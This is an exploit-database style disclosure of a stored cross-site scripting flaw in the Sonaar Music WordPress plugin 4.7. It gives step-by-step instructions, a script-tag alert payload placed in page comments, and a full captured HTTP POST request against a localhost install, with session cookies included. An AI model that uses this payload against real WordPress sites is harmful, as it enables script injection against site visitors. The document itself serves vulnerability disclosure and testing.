WordPress Sonaar Music 4.7 Cross Site Scripting

# Exploit Title: Wordpress Sonaar Music Plugin 4.7 - Stored XSS# Date: 2023-09-05# Exploit Author: Furkan Karaarslan# Category : Webapps# Vendor Homepage: http://127.0.0.1/wp/wordpress/wp-comments-post.php# Version: 4.7 (REQUIRED)# Tested on: Windows/Linux----------------------------------------------------------------------------------------------------1-First install sonar music plugin.2-Then come to the playlist add page. > http://127.0.0.1/wp/wordpress/wp-admin/edit.php?post_type=sr_playlist3-Press the Add new playlist button4-Put a random title on the page that opens and publish the page. > http://127.0.0.1/wp/wordpress/wp-admin/post-new.php?post_type=sr_playlist5-This is the published page http://127.0.0.1/wp/wordpress/album_slug/test/6-Let's paste our xss payload in the comment section. Payload: <script>alert("XSS")</script>BingooRequest:POST /wp/wordpress/wp-comments-post.php HTTP/1.1Host: 127.0.0.1Content-Length: 155Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/wp/wordpress/album_slug/test/Accept-Encoding: gzip, deflateAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7Cookie: comment_author_email_52c14530c1f3bbfa6d982f304802224a=a%40gmail.com; comment_author_52c14530c1f3bbfa6d982f304802224a=a%22%26gt%3Balert%28%29; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_52c14530c1f3bbfa6d982f304802224a=hunter%7C1694109284%7CXGnjFgcc7FpgQkJrAwUv1kG8XaQu3RixUDyZJoRSB1W%7C16e2e3964e42d9e56edd7ab7e45b676094d0b9e0ab7fcec2e84549772e438ba9; wp-settings-time-1=1693936486Connection: closecomment=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=Yorum+g%C3%B6nder&comment_post_ID=13&comment_parent=0&_wp_unfiltered_html_comment=95f4bd9cf5